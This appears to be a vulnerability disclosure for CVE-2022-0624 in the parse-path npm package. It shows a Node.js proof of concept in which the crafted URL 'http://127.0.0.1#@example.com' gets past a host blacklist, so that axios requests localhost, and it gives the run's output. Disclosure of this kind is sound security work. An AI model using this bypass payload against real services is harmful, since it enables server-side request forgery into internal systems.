CVE-2022-0624: Authorization Bypass Through User-Controlled Key in parse-path

Description

parse-path is unable to detect the right resource. While parsing http://127.0.0.1#@example.com url, parse-path thinks that the host/resource is example.com, however the actual resource is 127.0.0.1.

Proof of Concept

SSRF PoC

const parsePath = require("parse-path");
const axios = require('axios');

var PAYLOAD = "http://127.0.0.1#@example.com";

parsedData = parsePath(PAYLOAD);

// Blacklist few domains
if (parsedData.resource !== '127.0.0.1') {
  
  console.log("BYPASSED...");
  
  axios.get(PAYLOAD).then(function (resp) {
    console.log("Sent the request to " + resp.request._currentUrl);
  })
  .catch(function (error) {
    console.log("Sent the request to " + error.request._currentUrl);
  });

}

OUTPUT:

BYPASSED...
Sent the request to http://127.0.0.1/

Impact

An attacker can bypass the host-validation checks which can lead to SSRF, open redirect and other similar vulnerabilities. The above PoC bypass SSRF checks as axios will load 127.0.0.1 rather than example.com

Occurrences